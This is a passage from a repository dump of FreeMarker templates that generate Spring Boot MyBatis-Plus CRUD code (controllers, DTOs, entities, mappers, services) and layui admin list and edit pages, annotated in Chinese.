classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        return Result.success(entity);\n    }\n    \n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询列表分页数据\")\n    @RequestMapping(value = \"/listByPage\",method = {RequestMethod.GET,RequestMethod.POST})\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:listByPage\")\n    public Result listByPage(@RequestBody ${classInfo.className}Vo ${classInfo.className?uncap_first}) {\n        Page page = new Page(${classInfo.className?uncap_first}.getPage(), ${classInfo.className?uncap_first}.getLimit());\n        ${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(${classInfo.className?uncap_first}, dto);\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        IPage<${classInfo.className}Entity> iPage = ${classInfo.className?uncap_first}Service.page(page, queryWrapper);\n        return Result.success(iPage);\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-查询全部列表数据\")\n    @RequestMapping(value = \"/list\",method = {RequestMethod.GET,RequestMethod.POST})\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:list\")\n    public Result findListByPage(@RequestBody ${classInfo.className}Vo ${classInfo.className?uncap_first}) {\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        return Result.success(list);\n    }\n\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Dto.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.dto;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport entity.io.github.wujun728.common.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}Dto  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Dto() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Entity.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport entity.io.github.wujun728.common.BaseEntity;\n<#assign isSwagger=false />\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\n@TableName(\"${classInfo.tableName}\")\npublic class ${classInfo.className}Entity  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if fieldItem.isPrimaryKey==true>@TableId(value = \"${fieldItem.columnName}\" ,type = IdType.AUTO )<#else>@TableField(value = \"${fieldItem.columnName}\" )</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Entity() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Mapper.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}Entity> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}Entity> pageAll(${classInfo.className}Entity dto,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className}Entity dto);\n    \n    @Select(\"SELECT count(1) from ${classInfo.tableName} \")\n    int countAll();\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Service.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\nimport ${packageName}.entity.${classInfo.className}Entity;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}Entity> {\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}ServiceImpl.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service.impl;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.service.${classInfo.className}Service;\n\n</#if>\n/**\n * @description ${classInfo.classComment}服务层实现\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl extends ServiceImpl<${classInfo.className}Mapper, ${classInfo.className}Entity> implements ${classInfo.className}Service {\n\n\t@Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Vo.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.vo;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.Data;\nimport javax.validation.constraints.NotNull;\nimport javax.validation.constraints.Size;\nimport java.io.Serializable;\nimport entity.io.github.wujun728.common.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}Vo  extends BaseEntity  implements Serializable {\n\n    public interface Retrieve{}\n    public interface Delete {}\n    public interface Update {}\n    public interface Create {}\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    <#if fieldItem.nullable==true>@NotNull(message = \"${fieldItem.fieldComment}不能为空\", groups = {Create.class,Update.class,Delete.class})</#if>\n    <#if fieldItem.nullable==true>@Size( max = ${fieldItem.columnSize?c},message = \"${fieldItem.fieldComment}长度限制${fieldItem.columnSize?c}位\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Vo() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/edit.html.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<body>\n<div class=\"layui-form layuimini-form\">\n    <input type=\"hidden\" name=\"${classInfo.className?uncap_first}Id\" value=\"\" class=\"layui-input\">\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n    <div class=\"layui-form-item\">\n        <label class=\"layui-form-label required\">${fieldItem.fieldComment}</label>\n        <div class=\"layui-input-block\">\n            <input type=\"text\" name=\"${fieldItem.fieldName}\" lay-verify=\"required\" lay-reqtext=\"${fieldItem.fieldComment}不能为空\" placeholder=\"请输入${fieldItem.fieldComment}\" value=\"￥{(${classInfo.className?uncap_first}.${fieldItem.fieldName})!!}\" class=\"layui-input\">\n            <#--<tip>${fieldItem.fieldComment}</tip>-->\n        </div>\n    </div>\n    </#list>\n</#if>\n\n    <div class=\"layui-form-item\">\n        <div class=\"layui-input-block\">\n            <button class=\"layui-btn\" lay-submit lay-filter=\"saveBtn\">确认保存</button>\n        </div>\n    </div>\n</div>\n</div>\n<script src=\"￥{request.contextPath}/static/lib/layui-v2.5.5/layui.js\" charset=\"utf-8\"></script>\n<script>\n    layui.use(['form'], function () {\n        var form = layui.form,\n            layer = layui.layer,\n            $ = layui.$;\n\n        //监听提交\n        form.on('submit(saveBtn)', function (data) {\n            $.ajax({\n                type: 'POST',\n                url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/save\",\n                data:JSON.stringify(data.field),\n                dataType: \"json\",\n                contentType: \"application/json\",\n                success: function (responseData) {\n                    if (responseData.code === 200) {\n                        layer.msg(responseData.msg, function () {\n                            // 关闭弹出层\n                            //layer.close(index);\n                            var iframeIndex = parent.layer.getFrameIndex(window.name);\n                            parent.layer.close(iframeIndex);\n                            parent.searchBtn.click();\n                        });\n                    } else {\n                        layer.msg(responseData.msg, function () {\n                            //window.location = '/index.html';\n                        });\n                    }\n                }\n            });\n            return false;\n        });\n\n    });\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/list.html.ftl",
    "content": "﻿<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"utf-8\"/>\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\">\n    <title>XXXX管理</title>\n    <link rel=\"stylesheet\" href=\"/static/assets/libs/layui/css/layui.css\"/>\n    <link rel=\"stylesheet\" href=\"/static/assets/module/admin.css?v=317\"/>\n    <!--[if lt IE 9]>\n    <script src=\"https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js\"></script>\n    <script src=\"https://oss.maxcdn.com/respond/1.4.2/respond.min.js\"></script>\n    <![endif]-->\n</head>\n<body>\n<!-- 正文开始 -->\n<div class=\"layui-fluid\">\n    <div class=\"layui-card\">\n        <div class=\"layui-card-body\">\n            <!-- 表格工具栏 -->\n            <form class=\"layui-form toolbar\">\n                <div class=\"layui-form-item\">\n                    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                        <#list classInfo.fieldList as fieldItem >\n                            <#if fieldItem.nullable==false>\n                            <div class=\"layui-inline\">\n                                <label class=\"layui-form-label\">${fieldItem.fieldComment}:</label>\n                                <div class=\"layui-input-inline\">\n                                    <input name=\"${fieldItem.fieldName}\" class=\"layui-input\" placeholder=\"输入${fieldItem.fieldComment}\"/>\n                                </div>\n                            </div>\n                              </#if>\n                        </#list>\n                    </#if>\n                    <#--<div class=\"layui-inline\">\n                        <label class=\"layui-form-label\">角色名:</label>\n                        <div class=\"layui-input-inline\">\n                            <input name=\"roleName\" class=\"layui-input\" placeholder=\"输入角色名\"/>\n                        </div>\n                    </div>\n                    <div class=\"layui-inline\">\n                        <label class=\"layui-form-label\">角色代码:</label>\n                        <div class=\"layui-input-inline\">\n                            <input name=\"roleCode\" class=\"layui-input\" placeholder=\"输入角色代码\"/>\n                        </div>\n                    </div>\n                    <div class=\"layui-inline\">\n                        <label class=\"layui-form-label\">备&emsp;注:</label>\n                        <div class=\"layui-input-inline\">\n                            <input name=\"comments\" class=\"layui-input\" placeholder=\"输入备注\"/>\n                        </div>\n                    </div>-->\n                    <div class=\"layui-inline\">&emsp;\n                        <button class=\"layui-btn icon-btn\" lay-filter=\"roleTbSearch\" lay-submit>\n                            <i class=\"layui-icon\">&#xe615;</i>搜索\n                        </button>\n                    </div>\n                </div>\n            </form>\n            <!-- 数据表格 -->\n            <table id=\"roleTable\" lay-filter=\"roleTable\"></table>\n        </div>\n    </div>\n</div>\n\n<!-- 表格操作列 -->\n<script type=\"text/html\" id=\"roleTbBar\">\n    <a class=\"layui-btn layui-btn-primary layui-btn-xs\" lay-event=\"edit\">修改</a>\n    <a class=\"layui-btn layui-btn-danger layui-btn-xs\" lay-event=\"del\">删除</a>\n<#--    <a class=\"layui-btn layui-btn-warm layui-btn-xs\" lay-event=\"auth\">权限分配</a>-->\n</script>\n<!-- 表单弹窗 -->\n<script type=\"text/html\" id=\"roleEditDialog\">\n    <form id=\"roleEditForm\" lay-filter=\"roleEditForm\" class=\"layui-form model-form\">\n        <input name=\"roleId\" type=\"hidden\"/>\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                <div class=\"layui-form-item\">\n                    <label class=\"layui-form-label layui-form-required\">${fieldItem.fieldComment}:</label>\n                    <div class=\"layui-input-block\">\n                        <input name=\"${fieldItem.fieldName}\" placeholder=\"请输入${fieldItem.fieldComment}\" class=\"layui-input\"\n                               lay-verType=\"tips\"  <#if fieldItem.nullable==false>lay-verify=\"required\" required</#if>  />\n\n                    </div>\n                </div>\n            </#list>\n        </#if>\n\n        <#--<div class=\"layui-form-item\">\n            <label class=\"layui-form-label layui-form-required\">角色名:</label>\n            <div class=\"layui-input-block\">\n                <input name=\"roleName\" placeholder=\"请输入角色名\" class=\"layui-input\"\n                       lay-verType=\"tips\" lay-verify=\"required\" required/>\n            </div>\n        </div>\n        <div class=\"layui-form-item\">\n            <label class=\"layui-form-label layui-form-required\">角色代码:</label>\n            <div class=\"layui-input-block\">\n                <input name=\"roleCode\" placeholder=\"请输入角色代码\" class=\"layui-input\"\n                       lay-verType=\"tips\" lay-verify=\"required\" required/>\n            </div>\n        </div>\n        <div class=\"layui-form-item\">\n            <label class=\"layui-form-label\">备注:</label>\n            <div class=\"layui-input-block\">\n                <textarea name=\"comments\" placeholder=\"请输入备注\" class=\"layui-textarea\"></textarea>\n            </div>\n        </div>-->\n        <div class=\"layui-form-item text-right\">\n            <button class=\"layui-btn\" lay-filter=\"roleEditSubmit\" lay-submit>保存</button>\n            <button class=\"layui-btn layui-btn-primary\" type=\"button\" ew-event=\"closeDialog\">取消</button>\n        </div>\n    </form>\n</script>\n\n<!-- js部分 -->\n<script type=\"text/javascript\" src=\"/static/assets/libs/layui/layui.js\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/js/common.js?v=317\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/libs/jquery/jquery-3.2.1.min.js\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/js/core.util.js\"></script>\n<script>\n    layui.use(['layer', 'form', 'table', 'util', 'admin', 'zTree'], function () {\n        var $ = layui.jquery;\n        var layer = layui.layer;\n        var form = layui.form;\n        var table = layui.table;\n        var util = layui.util;\n        var admin = layui.admin;\n\n        /* 渲染表格 */\n        var insTb = table.render({\n            elem: '#roleTable',\n            method: 'post',\n            contentType: 'application/json',\n            url: '/${classInfo.className?uncap_first}/list',\n            page: true,\n            toolbar: ['<p>',\n                '<button lay-event=\"add\" class=\"layui-btn layui-btn-sm icon-btn\"><i class=\"layui-icon\">&#xe654;</i>添加</button>&nbsp;',\n                '<button lay-event=\"del\" class=\"layui-btn layui-btn-sm layui-btn-danger icon-btn\"><i class=\"layui-icon\">&#xe640;</i>删除</button>',\n                '</p>'].join(''),\n            cellMinWidth: 100,\n            cols: [[\n                {type: \"checkbox\", width: 50, fixed: \"left\"},\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                {field: '${fieldItem.fieldName}', title: '${fieldItem.fieldComment}', sort: true}, <#if fieldItem_has_next> </#if>\n                </#list>\n                </#if>\n                /* 需要时间请自行解封\n                {title: '创建时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.createTime, 'yyyy-MM-dd')}}</div>\"},\n                {title: '修改时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.updateTime, 'yyyy-MM-dd')}}</div>\"},\n                */\n                {title: '操作', minWidth: 400, templet: '#roleTbBar', fixed: \"right\", align: \"center\"}\n            ]],\n            limits: [20 , 50 , 100],\n            limit: 20,\n            page: true\n        });\n\n        /* 表格搜索 */\n        form.on('submit(roleTbSearch)', function (data) {\n            insTb.reload({where: data.field, page: {curr: 1}});\n            return false;\n        });\n\n        /* 表格工具条点击事件 */\n        table.on('tool(roleTable)', function (obj) {\n            if (obj.event === 'edit') { // 修改\n                showEditModel(obj.data);\n            } else if (obj.event === 'del') { // 删除\n                //doDel(obj);\n                doDel({ids: [obj.data.id]});\n            } else if (obj.event === 'auth') {  // 权限管理\n                showPermModel(obj.data.roleId);\n            }\n        });\n\n        /* 表格头工具栏点击事件 */\n        table.on('toolbar(roleTable)', function (obj) {\n            if (obj.event === 'add') { // 添加\n                showEditModel();\n            } else if (obj.event === 'del') { // 删除\n                var checkRows = table.checkStatus('roleTable');\n                if (checkRows.data.length === 0) {\n                    layer.msg('请选择要删除的数据', {icon: 2});\n                    return;\n                }\n                var ids = checkRows.data.map(function (d) {\n                    return d.id; //TODO\n                });\n                doDel({ids: ids});\n            }\n        });\n\n        /* 显示表单弹窗 */\n        function showEditModel(mData) {\n            admin.open({\n                type: 1,\n                title: (mData ? '修改' : '添加') + '${classInfo.classComment}'  ,\n                content: $('#roleEditDialog').html(),\n                success: function (layero, dIndex) {\n                    // 回显表单数据\n                    form.val('roleEditForm', mData);\n                    // 表单提交事件\n                    form.on('submit(roleEditSubmit)', function (data) {\n                        var loadIndex = layer.load(2);\n                        // $.get(mData ? '../../json/ok.json' : '../../json/ok.json', data.field, function (res) {\n                        //     layer.close(loadIndex);\n                        //     if (200 === res.code) {\n                        //         layer.close(dIndex);\n                        //         layer.msg(res.msg, {icon: 1});\n                        //         insTb.reload({page: {curr: 1}});\n                        //     } else {\n                        //         layer.msg(res.msg, {icon: 2});\n                        //     }\n                        // }, 'json');\n                        if(data.field.id===undefined || data.field.id===null || data.field.id===\"\"){\n                            CoreUtil.sendPost(\"/${classInfo.className?uncap_first}/add\",data.field,function (res) {\n                                layer.close(loadIndex);\n                                if (0 === res.code) {\n                                    layer.close(dIndex);\n                                    layer.msg(res.msg, {icon: 1});\n                                    insTb.reload({page: {curr: 1}});\n                                } else {\n                                    layer.msg(res.msg, {icon: 2});\n                                }\n                            });\n                        }else {\n                            CoreUtil.sendPut(\"/${classInfo.className?uncap_first}/update\",data.field,function (res) {\n                                layer.close(loadIndex);\n                                if (0 === res.code) {\n                                    layer.close(dIndex);\n                                    layer.msg(res.msg, {icon: 1});\n                                    insTb.reload({page: {curr: 1}});\n                                } else {\n                                    layer.msg(res.msg, {icon: 2});\n                                }\n                            });\n                        }\n                        return false;\n                    });\n                }\n            });\n        }\n\n        /* 删除 */\n        function doDel(obj) {\n            layer.confirm('确定要删除选中数据吗？', {\n                skin: 'layui-layer-admin',\n                shade: .1\n            }, function (i) {\n                layer.close(i);\n                CoreUtil.sendDelete(\"/${classInfo.className?uncap_first}/delete\",obj.ids,function (res) {\n                    layer.msg(res.msg, {time:1000},function () {\n                        layer.msg(res.msg, {icon: 1});\n                        insTb.reload({page: {curr: 1}});\n                    });\n                });\n            });\n        }\n\n\n    });\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/list.html.v1.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\">\n    <title>XXX管理</title>\n    <link rel=\"stylesheet\" href=\"/static/assets/libs/layui/css/layui.css\"/>\n    <link rel=\"stylesheet\" href=\"/static/assets/module/admin.css?v=317\"/>\n</head>\n<body>\n<div class=\"layuimini-container\">\n    <div class=\"layuimini-main\">\n\n        <fieldset class=\"table-search-fieldset\">\n            <legend>搜索信息</legend>\n            <div style=\"margin: 10px 10px 10px 10px\">\n                <form class=\"layui-form layui-form-pane\" action=\"\">\n                    <div class=\"layui-form-item\">\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}Id</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Id\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}名称</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Name\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <button id=\"searchBtn\" type=\"submit\" class=\"layui-btn layui-btn-primary\" lay-submit  lay-filter=\"data-search-btn\"><i class=\"layui-icon\"></i> 搜 索</button>\n                        </div>\n                    </div>\n                </form>\n            </div>\n        </fieldset>\n\n        <script type=\"text/html\" id=\"toolbarDemo\">\n            <div class=\"layui-btn-container\">\n                <button class=\"layui-btn layui-btn-normal layui-btn-sm data-add-btn\" lay-event=\"add\">  <i class=\"layui-icon layui-icon-addition\"></i>${classInfo.classComment} </button>\n               <#-- <button class=\"layui-btn layui-btn-normal layui-btn-sm layui-btn-danger data-delete-btn\" lay-event=\"del\"> 删除${classInfo.classComment} </button>-->\n            </div>\n        </script>\n\n        <table class=\"layui-hide\" id=\"currentTableId\" lay-filter=\"currentTableFilter\"></table>\n\n        <script type=\"text/html\" id=\"currentTableBar\">\n            <a class=\"layui-btn layui-btn-xs data-count-edit\" lay-event=\"edit\">编辑</a>\n            <a class=\"layui-btn layui-btn-xs layui-btn-danger data-count-delete\" lay-event=\"delete\">删除</a>\n        </script>\n\n        <script type=\"text/html\" id=\"typeTemplate\">\n            {{#  if(d.type == '1'){ }}\n            常规\n            {{#  } else if(d.type =='2') { }}\n            专项\n            {{#  } else { }}\n            其它\n            {{#  } }}\n        </script>\n        <script type=\"text/html\" id=\"statusTemplate\">\n            {{#  if(d.status == '1' ){ }}\n            <i class=\"layui-icon layui-icon-ok\"></i>已发布\n            {{#  } else { }}\n            - 未发布\n            {{#  } }}\n        </script>\n    </div>\n</div>\n\n<!-- js部分 -->\n<script type=\"text/javascript\" src=\"/static/assets/libs/layui/layui.js\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/js/common.js?v=317\"></script>\n\n<script>\n    layui.use(['form', 'table'], function () {\n        var $ = layui.jquery,\n            form = layui.form,\n            table = layui.table;\n\n        table.render({\n            elem: '#currentTableId',\n            method: 'post',\n            contentType: 'application/json',\n            url: '${classInfo.className?uncap_first}/list',\n            toolbar: '#toolbarDemo',\n            defaultToolbar: ['filter', 'exports', 'print', {\n                title: '提示',\n                layEvent: 'LAYTABLE_TIPS',\n                icon: 'layui-icon-tips'\n            }],\n            cols: [[\n                {type: \"checkbox\", width: 50, fixed: \"left\"},\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    {field: '${fieldItem.fieldName}', title: '${fieldItem.fieldComment}', sort: true}, <#if fieldItem_has_next> </#if>\n                </#list>\n                </#if>\n                /* 需要时间请自行解封\n                {title: '创建时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.createTime, 